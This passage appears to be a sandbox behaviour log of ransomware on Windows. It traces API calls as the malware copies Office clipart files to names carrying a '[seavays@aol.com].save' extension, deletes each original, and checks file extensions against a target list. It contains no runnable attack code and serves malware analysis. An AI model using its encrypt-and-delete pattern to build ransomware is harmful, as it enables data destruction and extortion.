lpNewFilePointer=0x0) returned 1 [0210.855] SetEndOfFile (hFile=0x35c) returned 1 [0210.856] CloseHandle (hObject=0x35c) returned 1 [0210.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0210.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.857] lstrlenW (lpString=".doc") returned 4 [0210.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.857] lstrlenW (lpString=".docx") returned 5 [0210.857] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.857] lstrlenW (lpString=".pdf") returned 4 [0210.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.857] lstrlenW (lpString=".xls") returned 4 [0210.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.857] lstrlenW (lpString=".xlsx") returned 5 [0210.857] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.857] lstrlenW (lpString=".ppt") returned 4 [0210.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.857] lstrlenW (lpString=".zip") returned 4 [0210.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.858] lstrlenW (lpString=".rar") returned 4 [0210.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.858] lstrlenW (lpString=".bz2") returned 4 [0210.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.858] lstrlenW (lpString=".7z") returned 3 [0210.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.858] lstrlenW (lpString=".dbf") returned 4 [0210.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.858] lstrlenW (lpString=".1cd") returned 4 [0210.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.858] lstrlenW (lpString=".jpg") returned 4 [0210.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.858] lstrlenW (lpString=".doc") returned 4 [0210.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.858] lstrlenW (lpString=".docx") returned 5 [0210.858] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.858] lstrlenW (lpString=".pdf") returned 4 [0210.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.858] lstrlenW (lpString=".xls") returned 4 [0210.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.858] lstrlenW (lpString=".xlsx") returned 5 [0210.859] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.859] lstrlenW (lpString=".ppt") returned 4 [0210.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.859] lstrlenW (lpString=".zip") returned 4 [0210.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.859] lstrlenW (lpString=".rar") returned 4 [0210.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.859] lstrlenW (lpString=".bz2") returned 4 [0210.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.859] lstrlenW (lpString=".7z") returned 3 [0210.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.859] lstrlenW (lpString=".dbf") returned 4 [0210.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.859] lstrlenW (lpString=".1cd") returned 4 [0210.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0210.859] lstrlenW (lpString=".jpg") returned 4 [0210.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.859] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.859] lstrlenW (lpString="J0105520.WMF") returned 12 [0210.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.860] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=31812) returned 1 [0210.860] CloseHandle (hObject=0x35c) returned 1 [0210.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 0x220 [0210.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0210.860] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.861] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0210.862] GetLastError () returned 0x0 [0210.862] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x7c44, lpOverlapped=0x0) returned 1 [0210.863] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0211.479] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.480] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.480] SetEndOfFile (hFile=0x368) returned 1 [0211.482] CloseHandle (hObject=0x368) returned 1 [0211.482] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.482] SetEndOfFile (hFile=0x35c) returned 1 [0211.484] CloseHandle (hObject=0x35c) returned 1 [0211.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0211.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0211.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.487] lstrlenW (lpString=".doc") returned 4 [0211.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString=".docx") returned 5 [0211.487] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.487] lstrlenW (lpString=".pdf") returned 4 [0211.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString=".xls") returned 4 [0211.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.487] lstrlenW (lpString=".xlsx") returned 5 [0211.487] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.487] lstrlenW (lpString=".ppt") returned 4 [0211.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.487] lstrlenW (lpString=".zip") returned 4 [0211.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.487] lstrlenW (lpString=".rar") returned 4 [0211.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString=".bz2") returned 4 [0211.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString=".7z") returned 3 [0211.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.488] lstrlenW (lpString=".dbf") returned 4 [0211.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.488] lstrlenW (lpString=".1cd") returned 4 [0211.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.488] lstrlenW (lpString=".jpg") returned 4 [0211.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.488] lstrlenW (lpString=".doc") returned 4 [0211.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString=".docx") returned 5 [0211.488] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.488] lstrlenW (lpString=".pdf") returned 4 [0211.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString=".xls") returned 4 [0211.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.489] lstrlenW (lpString=".xlsx") returned 5 [0211.489] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.489] lstrlenW (lpString=".ppt") returned 4 [0211.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.489] lstrlenW (lpString=".zip") returned 4 [0211.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.489] lstrlenW (lpString=".rar") returned 4 [0211.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.489] lstrlenW (lpString=".bz2") returned 4 [0211.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.489] lstrlenW (lpString=".7z") returned 3 [0211.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.489] lstrlenW (lpString=".dbf") returned 4 [0211.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.489] lstrlenW (lpString=".1cd") returned 4 [0211.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68 [0211.489] lstrlenW (lpString=".jpg") returned 4 [0211.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.052] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.052] lstrlenW (lpString="J0105974.WMF") returned 12 [0212.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.052] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=4612) returned 1 [0212.053] CloseHandle (hObject=0x35c) returned 1 [0212.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220 [0212.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.053] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.053] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0212.054] GetLastError () returned 0x0 [0212.054] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x1204, lpOverlapped=0x0) returned 1 [0212.055] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x1210, lpOverlapped=0x0) returned 1 [0212.057] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.057] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.057] SetEndOfFile (hFile=0x368) returned 1 [0212.057] CloseHandle (hObject=0x368) returned 1 [0212.057] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.057] SetEndOfFile (hFile=0x35c) returned 1 [0212.058] CloseHandle (hObject=0x35c) returned 1 [0212.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0212.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.059] lstrlenW (lpString=".doc") returned 4 [0212.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.059] lstrlenW (lpString=".docx") returned 5 [0212.059] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0212.059] lstrlenW (lpString=".pdf") returned 4 [0212.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.059] lstrlenW (lpString=".xls") returned 4 [0212.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.060] lstrlenW (lpString=".xlsx") returned 5 [0212.060] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0212.060] lstrlenW (lpString=".ppt") returned 4 [0212.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.060] lstrlenW (lpString=".zip") returned 4 [0212.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.060] lstrlenW (lpString=".rar") returned 4 [0212.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.060] lstrlenW (lpString=".bz2") returned 4 [0212.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.060] lstrlenW (lpString=".7z") returned 3 [0212.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.060] lstrlenW (lpString=".dbf") returned 4 [0212.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.060] lstrlenW (lpString=".1cd") returned 4 [0212.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.060] lstrlenW (lpString=".jpg") returned 4 [0212.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.061] lstrlenW (lpString=".doc") returned 4 [0212.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.061] lstrlenW (lpString=".docx") returned 5 [0212.061] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0212.061] lstrlenW (lpString=".pdf") returned 4 [0212.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.061] lstrlenW (lpString=".xls") returned 4 [0212.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.061] lstrlenW (lpString=".xlsx") returned 5 [0212.061] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0212.061] lstrlenW (lpString=".ppt") returned 4 [0212.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.061] lstrlenW (lpString=".zip") returned 4 [0212.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.061] lstrlenW (lpString=".rar") returned 4 [0212.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.061] lstrlenW (lpString=".bz2") returned 4 [0212.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.061] lstrlenW (lpString=".7z") returned 3 [0212.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.061] lstrlenW (lpString=".dbf") returned 4 [0212.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.061] lstrlenW (lpString=".1cd") returned 4 [0212.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0212.062] lstrlenW (lpString=".jpg") returned 4 [0212.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.062] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.062] lstrlenW (lpString="J0106020.WMF") returned 12 [0212.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.062] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=10060) returned 1 [0212.062] CloseHandle (hObject=0x35c) returned 1 [0212.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220 [0212.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.063] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.063] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0212.064] GetLastError () returned 0x0 [0212.064] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x274c, lpOverlapped=0x0) returned 1 [0212.065] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x2750, lpOverlapped=0x0) returned 1 [0212.067] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.067] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.067] SetEndOfFile (hFile=0x368) returned 1 [0212.067] CloseHandle (hObject=0x368) returned 1 [0212.067] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.067] SetEndOfFile (hFile=0x35c) returned 1 [0212.068] CloseHandle (hObject=0x35c) returned 1 [0212.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0212.070] lstrlenW (lpString="C:\\Program Files\\Microsoft 